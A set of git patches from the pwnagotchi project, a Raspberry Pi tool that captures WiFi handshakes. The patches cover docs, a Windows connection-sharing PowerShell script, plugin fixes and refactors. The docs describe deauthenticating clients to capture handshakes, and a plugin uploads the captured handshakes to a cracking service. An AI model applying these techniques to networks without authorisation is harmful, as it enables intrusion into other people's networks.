under the GPL3 license. diff --git a/docs/configure.md b/docs/configure.md index 98cd01ca..fbefe701 100644 --- a/docs/configure.md +++ b/docs/configure.md @@ -1,7 +1,6 @@ -### Connecting to your Pwnagotchi +# Connecting to your Pwnagotchi -Once you wrote the image file on the SD card, there're a few steps you'll have to follow in order to configure your unit properly, first, start with connecting the USB cable to the -data port of the Raspberry Pi and the RPi to your computer. After a few seconds the board will boot and you will see a new Ethernet interface on your host computer. +Once you wrote the image file on the SD card, there're a few steps you'll have to follow in order to configure your unit properly, first, start with connecting the USB cable to the data port of the Raspberry Pi and the RPi to your computer. After a few seconds the board will boot and you will see a new Ethernet interface on your host computer. You'll need to configure it with a static IP address: @@ -26,26 +25,32 @@ Moreover, it is recommended that you copy your SSH public key among the unit's a ssh-copy-id -i ~/.ssh/id_rsa.pub pi@10.0.0.2 ``` -### Configuration +## Configuration -You can now set a new name for your unit by [changing the hostname](https://geek-university.com/raspberry-pi/change-raspberry-pis-hostname/). Create the `/root/custom.yml` file (either via SSH or by direclty editing the SD card contents from a computer) that will override -the [default configuration](https://github.com/evilsocket/pwnagotchi/blob/master/sdcard/rootfs/root/pwnagotchi/config.yml) with your custom values. +You can now set a new name for your unit by [changing the hostname](https://geek-university.com/raspberry-pi/change-raspberry-pis-hostname/). Create the `/root/custom.yml` file (either via SSH or by direclty editing the SD card contents from a computer) that will override the [default configuration](https://github.com/evilsocket/pwnagotchi/blob/master/sdcard/rootfs/root/pwnagotchi/config.yml) with your custom values. + +## Language Selection For instance, you can change `main.lang` to one of the supported languages: -* **english** (default) -* german -* dutch -* greek -* macedonian -* italian -* french +- **english** (default) +- german +- dutch +- greek +- macedonian +- italian +- french -The set the type of display you want to use via `ui.display.type` (if your display does not work after changing this setting, you might need to complete remove power from the Raspberry and make a clean boot). +## Display Selection + +Set the type of display you want to use via `ui.display.type` (if your display does not work after changing this setting, you might need to completely remove power from the Raspberry and make a clean boot). You can configure the refresh interval of the display via `ui.fps`, we advise to use a slow refresh to not shorten the lifetime of your display. The default value is 0, which will only refresh when changes are made to the screen. -### Host Connection Share +## Host Connection Share -If you connect to the unit via `usb0` (thus using the data port), you might want to use the `scripts/linux_connection_share.sh` or - `scripts/macos_connection_share.sh` script to bring the interface up on your end and share internet connectivity from another interface, so you can update the unit and generally download things from the internet on it. \ No newline at end of file +If you connect to the unit via `usb0` (thus using the data port), you might want to use the `scripts/linux_connection_share.sh` or `scripts/macos_connection_share.sh` script to bring the interface up on your end and share internet connectivity from another interface, so you can update the unit and generally download things from the internet on it. Note this script takes as inputs the two interfaces and shouldn't be run without arguments. + +## Troubleshooting + +If your network connection keeps flapping on your device connecting to your pwnagotchi, check if `usb0` (or equivalent) device is being controlled by NetworkManager. You can check this via `nmcli dev status`. diff --git a/docs/dev.md b/docs/dev.md index 5a4df640..09d2a465 100644 --- a/docs/dev.md +++ b/docs/dev.md @@ -1,4 +1,4 @@ -## Software +# Software - Raspbian + [nexmon patches](https://re4son-kernel.com/re4son-pi-kernel/) for monitor mode, or any Linux with a monitor mode enabled interface (if you tune config.yml). @@ -21,6 +21,7 @@ usage: ./scripts/create_sibling.sh [OPTIONS] -d # Only run dependencies checks -h # Show this help ``` + ## Adding a Language If you want to add a language use the `language.sh` script. If you want to add for example the language **italian** you would type: diff --git a/docs/faq.md b/docs/faq.md index ed4a1f37..ff19087a 100644 --- a/docs/faq.md +++ b/docs/faq.md @@ -10,4 +10,4 @@ Because Python sucks and TF is huge. ## Why ...? -Because! \ No newline at end of file +Because! diff --git a/docs/index.md b/docs/index.md index 3c23b8c5..36e97f88 100644 --- a/docs/index.md +++ b/docs/index.md @@ -16,4 +16,4 @@ ## License -`pwnagotchi` is made with ♥ by [@evilsocket](https://twitter.com/evilsocket) and the [amazing dev team](https://github.com/evilsocket/pwnagotchi/graphs/contributors). It's released under the GPL3 license. \ No newline at end of file +`pwnagotchi` is made with ♥ by [@evilsocket](https://twitter.com/evilsocket) and the [amazing dev team](https://github.com/evilsocket/pwnagotchi/graphs/contributors). It's released under the GPL3 license. diff --git a/docs/install.md b/docs/install.md index 4081e955..6902979a 100644 --- a/docs/install.md +++ b/docs/install.md @@ -1,7 +1,6 @@ # Installation -The project has been developed to run on a Raspberry Pi 0 W configured as an [USB Ethernet gadget](https://learn.adafruit.com/turning-your-raspberry-pi-zero-into-a-usb-gadget/ethernet-gadget) device in order to connect to it via USB. -However, given the proper configuration tweaks, any GNU/Linux computer with a WiFi interface that supports monitor mode could be used. +The project has been developed to run on a Raspberry Pi 0 W configured as an [USB Ethernet gadget](https://learn.adafruit.com/turning-your-raspberry-pi-zero-into-a-usb-gadget/ethernet-gadget) device in order to connect to it via USB. However, given the proper configuration tweaks, any GNU/Linux computer with a WiFi interface that supports monitor mode could be used. ## Required Hardware @@ -34,9 +33,7 @@ Color displays have a much slower refresh rate, in some cases it can take up to The easiest way to create a new Pwnagotchi is downloading the latest stable image from [our release page](https://github.com/evilsocket/pwnagotchi/releases) and write it to your SD card. You will need to use an image writing tool to install the image you have downloaded on your SD card. -[balenaEtcher](https://www.balena.io/etcher/) is a graphical SD card writing tool that works on Mac OS, Linux and Windows, -and is the easiest option for most users. balenaEtcher also supports writing images directly from the zip file, -without any unzipping required. To write your image with balenaEtcher: +[balenaEtcher](https://www.balena.io/etcher/) is a graphical SD card writing tool that works on Mac OS, Linux and Windows, and is the easiest option for most users. balenaEtcher also supports writing images directly from the zip file, without any unzipping required. To write your image with balenaEtcher: - Download the latest [Pwnagotchi .img file](https://github.com/evilsocket/pwnagotchi/releases). - Download [balenaEtcher](https://www.balena.io/etcher/) and install it. @@ -45,4 +42,4 @@ without any unzipping required. To write your image with balenaEtcher: - Select the SD card you wish to write your image to. - Review your selections and click 'Flash!' to begin writing data to the SD card. -Your SD card is now ready for the first boot! \ No newline at end of file +Your SD card is now ready for the first boot! diff --git a/docs/plugins.md b/docs/plugins.md index 512c872a..0038df9f 100644 --- a/docs/plugins.md +++ b/docs/plugins.md @@ -1,8 +1,7 @@ # Plugins Pwnagotchi has a simple plugins system that you can use to customize your unit and its behaviour. You can place your plugins anywhere -as python files and then edit the `config.yml` file (`main.plugins` value) to point to their containing folder. Check the [plugins folder](https://github.com/evilsocket/pwnagotchi/tree/master/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/) for a list of default -plugins and all the callbacks that you can define for your own customizations. +as python files and then edit the `config.yml` file (`main.plugins` value) to point to their containing folder. Check the [plugins folder](https://github.com/evilsocket/pwnagotchi/tree/master/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/) for a list of default plugins and all the callbacks that you can define for your own customizations. Here's as an example the GPS plugin: diff --git a/docs/usage.md b/docs/usage.md index e23dc686..8883cb70 100644 --- a/docs/usage.md +++ b/docs/usage.md @@ -1,4 +1,6 @@ -### User Interface +# Usage + +## User Interface The UI is available either via display if installed, or via http://pwnagotchi.local:8080/ if you connect to the unit via `usb0` and set a static address on the network interface (change `pwnagotchi` with the hostname of your unit). @@ -10,7 +12,7 @@ The UI is available either via display if installed, or via http://pwnagotchi.lo * **PWND**: Number of handshakes captured in this session and number of unique networks we own at least one handshake of, from the beginning. * **AUTO**: This indicates that the algorithm is running with AI disabled (or still loading), it disappears once the AI dependencies have been bootrapped and the neural network loaded. -### Training the AI +## Training the AI At its core Pwnagotchi is a very simple creature: we could summarize its main algorithm as: @@ -27,7 +29,7 @@ while True: for client in ap.clients: # deauthenticate the client to get its half or full handshake deauthenticate(client) - + wait_for_loot() ``` @@ -73,14 +75,11 @@ personality: sad_num_epochs: 25 ``` -There is no optimal set of parameters for every situation: when the unit is moving (during a walk for instance) smaller timeouts and RSSI thresholds might be preferred -in order to quickly remove routers that are not in range anymore, while when stationary in high density areas (like an office) other parameters might be better. -The role of the AI is to observe what's going on at the WiFi level, and adjust those parameters in order to maximize the cumulative reward of that loop / epoch. +There is no optimal set of parameters for every situation: when the unit is moving (during a walk for instance) smaller timeouts and RSSI thresholds might be preferred in order to quickly remove routers that are not in range anymore, while when stationary in high density areas (like an office) other parameters might be better. The role of the AI is to observe what's going on at the WiFi level, and adjust those parameters in order to maximize the cumulative reward of that loop / epoch. -#### Reward Function +## Reward Function -After each iteration of the main loop (an `epoch`), the reward, a score that represents how well the parameters performed, is computed as -(an excerpt from `pwnagotchi/ai/reward.py`): +After each iteration of the main loop (an `epoch`), the reward, a score that represents how well the parameters performed, is computed as (an excerpt from `pwnagotchi/ai/reward.py`): ```python # state contains the information of the last epoch @@ -107,15 +106,13 @@ reward = h + a + c + b + i + m By maximizing this reward value, the AI learns over time to find the set of parameters that better perform with the current environmental conditions. +## BetterCAP's Web UI -### BetterCAP's Web UI - -Moreover, given that the unit is running bettercap with API and Web UI, you'll be able to use the unit as a WiFi penetration testing portable station -by accessing `http://pwnagotchi.local/`. +Moreover, given that the unit is running bettercap with API and Web UI, you'll be able to use the unit as a WiFi penetration testing portable station by accessing `http://pwnagotchi.local/`. ![webui](https://raw.githubusercontent.com/bettercap/media/master/ui-events.png) -### Update your Pwnagotchi +## Update your Pwnagotchi You can use the `scripts/update_pwnagotchi.sh` script to update to the most recent version of pwnagotchi. @@ -132,7 +129,7 @@ usage: ./update_pwnagitchi.sh [OPTIONS] ``` -### Backup your Pwnagotchi +## Backup your Pwnagotchi You can use the `scripts/backup.sh` script to backup the important files of your unit. @@ -140,12 +137,10 @@ You can use the `scripts/backup.sh` script to backup the important files of your usage: ./scripts/backup.sh HOSTNAME backup.zip ``` -### Random Info - -- **On a rpi0w, it'll take approximately 30 minutes to load the AI**. -- `/var/log/pwnagotchi.log` is your friend. -- if connected to a laptop via usb data port, with internet connectivity shared, magic things will happen. -- checkout the `ui.video` section of the `config.yml` - if you don't want to use a display, you can connect to it with the browser and a cable. -- If you get `[FAILED] Failed to start Remount Root and Kernel File Systems.` while booting pwnagotchi, make sure -the `PARTUUID`s for `rootfs` and `boot` partitions are the same in `/etc/fstab`. Use `sudo blkid` to find those values when you are using `create_sibling.sh`. +## Random Info +* **On a rpi0w, it'll take approximately 30 minutes to load the AI**. +* `/var/log/pwnagotchi.log` is your friend. +* if connected to a laptop via usb data port, with internet connectivity shared, magic things will happen. +* checkout the `ui.video` section of the `config.yml` - if you don't want to use a display, you can connect to it with the browser and a cable. +* If you get `[FAILED] Failed to start Remount Root and Kernel File Systems.` while booting pwnagotchi, make sure the `PARTUUID`s for `rootfs` and `boot` partitions are the same in `/etc/fstab`. Use `sudo blkid` to find those values when you are using `create_sibling.sh`. From 061a5771aec71a29b379028b8eb036f0d395adbe Mon Sep 17 00:00:00 2001 From: Justin-p Date: Thu, 3 Oct 2019 23:44:21 +0200 Subject: [PATCH 10/64] Added powershell script to automate internet connection sharing on windows --- scripts/win_connection_share.ps1 | 265 +++++++++++++++++++++++++++++++ 1 file changed, 265 insertions(+) create mode 100644 scripts/win_connection_share.ps1 diff --git a/scripts/win_connection_share.ps1 b/scripts/win_connection_share.ps1 new file mode 100644 index 00000000..ee899112 --- /dev/null +++ b/scripts/win_connection_share.ps1 @@ -0,0 +1,265 @@ +<# + .SYNOPSIS + A script that setups Internet Connection Sharing for Pwnagotchi. + + .DESCRIPTION + A script that setups Internet Connection Sharing for Pwnagotchi. + + Note: Internet Connection Sharing on Windows can be a bit unstable on windows between reboots. + You might need to run this script occasionally to disable and re-enable Internet Connection Sharing. + + .PARAMETER EnableInternetConnectionSharing + Enable Internet Connection Sharing + + .PARAMETER DisableInternetConnectionSharing + Disable Internet Connection Sharing + + .PARAMETER SetPwnagotchiSubnet + Change the Internet Connection Sharing subnet to the Pwnagotchi. Defaults to 10.0.0.1. + + .PARAMETER ScopeAddress + Custom ScopeAddress (The IP Address of the USB Gadget Interface.) + + .EXAMPLE + # Enable Internet Connection Sharing + PS C:\> .\win_connection_share -EnableInternetConnectionSharing + + .EXAMPLE + # Disable Internet Connection Sharing + PS C:\> .\win_connection_share -DisableInternetConnectionSharing + + .EXAMPLE + # Change the regkeys of Internet Connection Sharing to the Pwnagotchi Subnet + PS C:\> .\win_connection_share -SetPwnagotchiSubnet + + .EXAMPLE + # Change the regkeys of Internet Connection Sharing to the Pwnagotchi Subnet with a custom ScopeAddress (The IP Address of the USB Gadget Interface.) + PS C:\> .\win_connection_share -SetPwnagotchiSubnet -ScopeAddress 10.0.0.10 +#> + +#Requires -Version 5 +#Requires -RunAsAdministrator +[Cmdletbinding()] +Param ( + [switch]$EnableInternetConnectionSharing, + [switch]$DisableInternetConnectionSharing, + [switch]$SetPwnagotchiSubnet, + [ipaddress]$ScopeAddress = '10.0.0.1' +) + +# Load helper functions +Function Create-HNetObjects { + <# + .SYNOPSIS + A helper function that does the heavy lifiting with NetCfg.HNetShare + + .DESCRIPTION + A helper function that does the heavy lifiting with NetCfg.HNetShare. This returns a PSObject containing the `INetSharingConfigurationForINetConnection` info of 2 Adapters. + By default it tries to get the correct interfaces. This method might not be foolproof for every setup, but should work in most default senarios, if this causes issues these + can be passed as a param. + + .PARAMETER InternetAdaptor + The output of Get-NetAdaptor filtered down to the 'main' uplink interface. Should default to the correct value. + + .PARAMETER RNDISGadget + The output of Get-NetAdaptor filtered down to the 'USB Ethernet/RNDIS Gadget' interface. Should default to the correct value. + + .EXAMPLE + PS> $HNetObject = Create-HNetObjects + PS> $HNetObject + RNDISIntConfig InternetIntConfig + -------------- ----------------- + System.__ComObject System.__ComObject + #> + [Cmdletbinding()] + Param ( + $InternetAdaptor = $(Get-NetAdapter | Where-Object {$_.MediaConnectionState -eq 'Connected' -and $_.PhysicalMediaType -ne 'Unspecified'} | Sort-Object LinkSpeed -Descending), + $RNDISGadget = $(Get-NetAdapter | Where-Object {$_.MediaConnectionState -eq 'Connected' -and $_.InterfaceDescription -eq "USB Ethernet/RNDIS Gadget"}) + ) + Begin { + regsvr32.exe /s hnetcfg.dll + $HNetShare = New-Object -ComObject HNetCfg.HNetShare + } + Process { + if ($HNetShare.EnumEveryConnection -ne $null) { + $InternetInt = $HNetShare.EnumEveryConnection | Where-Object { $HNetShare.NetConnectionProps.Invoke($_).Name -eq ($InternetAdaptor).Name } + $InternetIntConfig = $HNetShare.INetSharingConfigurationForINetConnection.Invoke($InternetInt) + $RNDISInt = $HNetShare.EnumEveryConnection | Where-Object { $HNetShare.NetConnectionProps.Invoke($_).Name -eq ($RNDISGadget).Name } + $RNDISIntConfig = $HNetShare.INetSharingConfigurationForINetConnection.Invoke($RNDISInt) + } + } + End { + Return $(New-Object -TypeName PSObject -Property @{InternetIntConfig=$InternetIntConfig;RNDISIntConfig=$RNDISIntConfig;}) + } +} +Function Enable-InternetConnectionSharing { + <# + .SYNOPSIS + Enables internet connection sharing between the 'main' uplink interface and the 'USB Ethernet/RNDIS Gadget' interface. + + .DESCRIPTION + Enables internet connection sharing between the 'main' uplink interface and the 'USB Ethernet/RNDIS Gadget' interface. + + .EXAMPLE + PS> Enable-InternetConnectionSharing + + #> + [Cmdletbinding()] + $HNetObject = Create-HNetObjects + $HNetObject.InternetIntConfig.EnableSharing(0) + $HNetObject.RNDISIntConfig.EnableSharing(1) + Write-Output "[x] Enabled Internet Connection Sharing." +} +Function Disable-InternetConnectionSharing { + <# + .SYNOPSIS + Disables internet connection sharing between the 'main' uplink interface and the 'USB Ethernet/RNDIS Gadget' interface. + + .DESCRIPTION + Disables internet connection sharing between the 'main' uplink interface and the 'USB Ethernet/RNDIS Gadget' interface. + + .EXAMPLE + PS> Disable-InternetConnectionSharing + + #> + [Cmdletbinding()] + $HNetObject = $(Create-HNetObjects) + $HNetObject.InternetIntConfig.DisableSharing() + $HNetObject.RNDISIntConfig.DisableSharing() + Write-Output "[x] Disabled Internet Connection Sharing." +} +Function Test-PwnagotchiSubnet { + <# + .SYNOPSIS + Tests the registry for the correct ScopeAddress. + + .DESCRIPTION + Tests the registry for the correct ScopeAddress. By default windows uses a 192.168.137.x subnet for Internet Connection Sharing. This value can be changed + in the registry. + + .EXAMPLE + PS> Test-PwnagotchiSubnet + [!] By default Internet Connection Sharing uses a 192.168.137.x subnet. Run Set-PwnagotchiSubnet to ensure you and your little friend are on the same subnet. + #> + [Cmdletbinding()] + $RegKeys = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters -ErrorAction Stop + If ($RegKeys.ScopeAddress -notmatch '10.0.0.') { + Write-Error "By default Internet Connection Sharing uses a 192.168.137.x subnet. Run Set-PwnagotchiSubnet to ensure you and your little friend are on the same subnet." -ErrorAction Stop + } + If ($RegKeys.ScopeAddressBackup -notmatch '10.0.0.') { + Write-Error "By default Internet Connection Sharing uses a 192.168.137.x subnet. Run Set-PwnagotchiSubnet to ensure you and your little friend are on the same subnet." -ErrorAction Stop + } +} +Function Set-PwnagotchiSubnet { + <# + .SYNOPSIS + Set the registry for the correct ScopeAddress. + + .DESCRIPTION + Set the registry for the correct ScopeAddress. By default windows uses a 192.168.137.x subnet for Internet Connection Sharing. This value can be changed + in the registry. By default it will be changed to 10.0.0.1 + + .PARAMETER ScopeAddress + The IP address the USB Gadget interface should use. + + .EXAMPLE + Set-PwnagotchiSubnet + + #> + [Cmdletbinding()] + Param ( + $ScopeAddress = '10.0.0.1' + ) + Try { + [void]([ipaddress]$ScopeAddress) + [void]([byte[]] $ScopeAddress.split('.')) + } Catch { + Write-Error "$ScopeAddress is not a valid IP." + } + Try { + Set-ItemProperty -Name ScopeAddress -Path "HKLM:\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\" -Value $ScopeAddress -ErrorAction Stop + Set-ItemProperty -Name ScopeAddressBackup -Path "HKLM:\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\" -Value $ScopeAddress -ErrorAction Stop + Write-Warning "The Internet Connection Sharing subnet has been updated. A reboot of windows is required !" + } Catch { + $PSCmdlet.ThrowTerminatingError($PSItem) + } + +} + +# Main Function +Function Setup-PwnagotchiNetwork { + <# + .SYNOPSIS + Function to setup networking. + + .DESCRIPTION + Function to setup networking. Main function calls helpers functions. + + .PARAMETER EnableInternetConnectionSharing + Enable Internet Connection Sharing + + .PARAMETER DisableInternetConnectionSharing + Disable Internet Connection Sharing + + .PARAMETER SetPwnagotchiSubnet + Change the Internet Connection Sharing subnet to the Pwnagotchi. Defaults to 10.0.0.1. + + .PARAMETER ScopeAddress + Custom ScopeAddress (the ICS ip address) + + .EXAMPLE + PS> Setup-PwnagotchiNetwork -EnableInternetConnectionSharing + + #> + + Param ( + [switch]$EnableInternetConnectionSharing, + [switch]$DisableInternetConnectionSharing, + [switch]$SetPwnagotchiSubnet, + $ScopeAddress = '10.0.0.1' + ) + Begin { + Try { + Write-Debug "Begin" + $ErrorSplat=@{ErrorAction="stop"} + Write-Debug "Testing subnet" + Try { + Test-PwnagotchiSubnet @ErrorSplat + } Catch { + If ($SetPwnagotchiSubnet) { + Write-Debug "Setting subnet" + Set-PwnagotchiSubnet -ScopeAddress $ScopeAddress @ErrorSplat + } Else { + Write-Error "By default Internet Connection Sharing uses a 192.168.137.x subnet. Run this script with the -SetPwnagotchiSubnet to setup the network." -ErrorAction Stop + } + } + } Catch { + $PSCmdlet.ThrowTerminatingError($PSItem) + } + } + Process { + Write-Debug "Process" + Try { + If ($EnableInternetConnectionSharing) { + Write-Debug "Enable network Sharing" + Enable-InternetConnectionSharing @ErrorSplat + } ElseIf ($DisableInternetConnectionSharing) { + Write-Debug "Disable network Sharing" + Disable-InternetConnectionSharing @ErrorSplat + } + } Catch { + $PSCmdlet.ThrowTerminatingError($PSItem) + } + } + End { + Write-Debug "End" + Try { + # Nothing to return. + } Catch { + $PSCmdlet.ThrowTerminatingError($PSItem) + } + } +} + +# Dynamically create params for Setup-PwnagotchiNetwork function based of param input of script. +Setup-PwnagotchiNetwork @psBoundParameters \ No newline at end of file From 5fc0d69fda33e2ddbb754c296b99f5d3e927e22e Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Thu, 3 Oct 2019 23:46:54 +0200 Subject: [PATCH 11/64] fix --- .../pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py index 48ea525c..f783d209 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py @@ -60,12 +60,12 @@ def on_internet_available(display, config, log): handshake_paths = [os.path.join(handshake_dir, filename) for filename in handshake_filenames] handshake_new = set(handshake_paths) - set(ALREADY_UPLOADED) - if handhake_new: + if handshake_new: logging.info("Internet connectivity detected.\ Uploading new handshakes to wpa-sec.stanev.org") for idx, handshake in enumerate(handshake_new): - display.set('status', f"Uploading handshake to wpa-sec.stanev.org ({idx + 1}/{len(handshake_new})") + display.set('status', "Uploading handshake to wpa-sec.stanev.org ({idx + 1}/{len(handshake_new})") display.update(force=True) try: _upload_to_wpasec(handshake) From 177804328ceaa4d8696f76461681aa8e5a4e921d Mon Sep 17 00:00:00 2001 From: Justin-p Date: Thu, 3 Oct 2019 23:48:36 +0200 Subject: [PATCH 12/64] updated configure.md and added small note on Create-HNetObjects function --- docs/configure.md | 4 ++-- scripts/win_connection_share.ps1 | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/configure.md b/docs/configure.md index 98cd01ca..83fbc300 100644 --- a/docs/configure.md +++ b/docs/configure.md @@ -47,5 +47,5 @@ You can configure the refresh interval of the display via `ui.fps`, we advise to ### Host Connection Share -If you connect to the unit via `usb0` (thus using the data port), you might want to use the `scripts/linux_connection_share.sh` or - `scripts/macos_connection_share.sh` script to bring the interface up on your end and share internet connectivity from another interface, so you can update the unit and generally download things from the internet on it. \ No newline at end of file +If you connect to the unit via `usb0` (thus using the data port), you might want to use the `scripts/linux_connection_share.sh` , + `scripts/macos_connection_share.sh` or `scripts/win_connection_share.ps1` script to bring the interface up on your end and share internet connectivity from another interface, so you can update the unit and generally download things from the internet on it. \ No newline at end of file diff --git a/scripts/win_connection_share.ps1 b/scripts/win_connection_share.ps1 index ee899112..ecbed3b8 100644 --- a/scripts/win_connection_share.ps1 +++ b/scripts/win_connection_share.ps1 @@ -56,7 +56,7 @@ Function Create-HNetObjects { .DESCRIPTION A helper function that does the heavy lifiting with NetCfg.HNetShare. This returns a PSObject containing the `INetSharingConfigurationForINetConnection` info of 2 Adapters. By default it tries to get the correct interfaces. This method might not be foolproof for every setup, but should work in most default senarios, if this causes issues these - can be passed as a param. + could be passed as a param, they would need to be implemented in Setup-PwnagotchiNetwork and the Param block of this file. .PARAMETER InternetAdaptor The output of Get-NetAdaptor filtered down to the 'main' uplink interface. Should default to the correct value. From 3a3c5911cbb465d16e7e4ba5628a1ef302e112c3 Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Thu, 3 Oct 2019 23:49:58 +0200 Subject: [PATCH 13/64] fix --- .../pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py index f783d209..64df84e7 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py @@ -3,7 +3,6 @@ __version__ = '1.0.0' __name__ = 'wpa_sec' __license__ = 'GPL3' __description__ = 'This plugin automatically uploades handshakes to https://wpa-sec.stanev.org' -__enabled__ = False import os import logging @@ -13,6 +12,7 @@ READY = False API_KEY = None ALREADY_UPLOADED = None + # INSTALLATION: ## apt-get install libcurl4-openssl-dev ## https://github.com/ZerBea/hcxtools.git @@ -51,6 +51,7 @@ def _upload_to_wpasec(path): logging.error(f"WPA_SEC: Error while uploading {path}") raise os_e + # called in manual mode when there's internet connectivity def on_internet_available(display, config, log): if READY: From 3c241b2cbfd043a3f12523ef8f0a70f027adf2d3 Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Fri, 4 Oct 2019 00:00:47 +0200 Subject: [PATCH 14/64] added hexwaxwing to derek users --- .DEREK.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.DEREK.yml b/.DEREK.yml index c63d9d15..9598f24d 100644 --- a/.DEREK.yml +++ b/.DEREK.yml @@ -3,6 +3,7 @@ maintainers: - caquino - dadav - justin-p + - hexwaxwing features: - comments From cc19fb5b6eb81da7d60a230b28472b042fbc6a1d Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Fri, 4 Oct 2019 00:11:31 +0200 Subject: [PATCH 15/64] refactor --- sdcard/rootfs/root/pwnagotchi/scripts/main.py | 13 +------------ .../root/pwnagotchi/scripts/pwnagotchi/agent.py | 10 ++++++++++ 2 files changed, 11 insertions(+), 12 deletions(-) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/main.py b/sdcard/rootfs/root/pwnagotchi/scripts/main.py index ac5bacd1..5ecb7ff2 100755 --- a/sdcard/rootfs/root/pwnagotchi/scripts/main.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/main.py @@ -3,8 +3,6 @@ import argparse import time import logging -import yaml - import pwnagotchi import pwnagotchi.utils as utils import pwnagotchi.version as version @@ -73,16 +71,7 @@ elif args.do_manual: else: logging.info("entering auto mode ...") - agent.start_ai() - agent.setup_events() - agent.set_starting() - agent.start_monitor_mode() - agent.start_event_polling() - - # print initial stats - agent.next_epoch() - - agent.set_ready() + agent.start() while True: try: diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py index 578e3808..69c594ef 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py @@ -138,6 +138,16 @@ class Agent(Client, AsyncAdvertiser, AsyncTrainer): self.start_advertising() + def start(self): + self.start_ai() + self.setup_events() + self.set_starting() + self.start_monitor_mode() + self.start_event_polling() + # print initial stats + self.next_epoch() + self.set_ready() + def wait_for(self, t, sleeping=True): plugins.on('sleep' if sleeping else 'wait', self, t) self._view.wait(t, sleeping) From ba15d1940a7d9c2ecde778abb72de392845e71b7 Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Fri, 4 Oct 2019 00:26:00 +0200 Subject: [PATCH 16/64] refactor --- .../root/pwnagotchi/scripts/core/__init__.py | 48 ------------------- .../pwnagotchi/scripts/pwnagotchi/agent.py | 9 ++-- .../pwnagotchi/scripts/pwnagotchi/ai/epoch.py | 34 ++++++------- .../pwnagotchi/scripts/pwnagotchi/ui/view.py | 9 ++-- .../pwnagotchi/scripts/pwnagotchi/utils.py | 42 +++++++++++++++- 5 files changed, 67 insertions(+), 75 deletions(-) delete mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/core/__init__.py diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/core/__init__.py b/sdcard/rootfs/root/pwnagotchi/scripts/core/__init__.py deleted file mode 100644 index eb718d31..00000000 --- a/sdcard/rootfs/root/pwnagotchi/scripts/core/__init__.py +++ /dev/null @@ -1,48 +0,0 @@ -import glob -import os -import time -import subprocess - - -def secs_to_hhmmss(secs): - mins, secs = divmod(secs, 60) - hours, mins = divmod(mins, 60) - return '%02d:%02d:%02d' % (hours, mins, secs) - - -def total_unique_handshakes(path): - expr = os.path.join(path, "*.pcap") - return len(glob.glob(expr)) - - -def iface_address(ifname): - output = subprocess.getoutput("/usr/sbin/ifconfig %s" % ifname) - for line in output.split("\n"): - line = line.strip() - if line.startswith("inet "): - return line.split(' ')[1].strip() - return None - - -def iface_channels(ifname): - channels = [] - output = subprocess.getoutput("/sbin/iwlist %s freq" % ifname) - for line in output.split("\n"): - line = line.strip() - if line.startswith("Channel "): - channels.append(int(line.split()[1])) - return channels - - -def led(on=True): - with open('/sys/class/leds/led0/brightness', 'w+t') as fp: - fp.write("%d" % (0 if on is True else 1)) - - -def blink(times=1, delay=0.3): - for t in range(0, times): - led(True) - time.sleep(delay) - led(False) - time.sleep(delay) - led(True) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py index 69c594ef..fe1455c4 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py @@ -9,6 +9,7 @@ import _thread import core +import pwnagotchi.utils as utils import pwnagotchi.plugins as plugins from bettercap.client import Client from pwnagotchi.mesh.utils import AsyncAdvertiser @@ -30,7 +31,7 @@ class Agent(Client, AsyncAdvertiser, AsyncTrainer): self._started_at = time.time() self._filter = None if config['main']['filter'] is None else re.compile(config['main']['filter']) self._current_channel = 0 - self._supported_channels = core.iface_channels(config['main']['iface']) + self._supported_channels = utils.iface_channels(config['main']['iface']) self._view = view self._access_points = [] self._last_pwnd = None @@ -252,7 +253,7 @@ class Agent(Client, AsyncAdvertiser, AsyncTrainer): def _update_uptime(self, s): secs = time.time() - self._started_at - self._view.set('uptime', core.secs_to_hhmmss(secs)) + self._view.set('uptime', utils.secs_to_hhmmss(secs)) self._view.set('epoch', '%04d' % self._epoch.epoch) def _update_counters(self): @@ -272,7 +273,7 @@ class Agent(Client, AsyncAdvertiser, 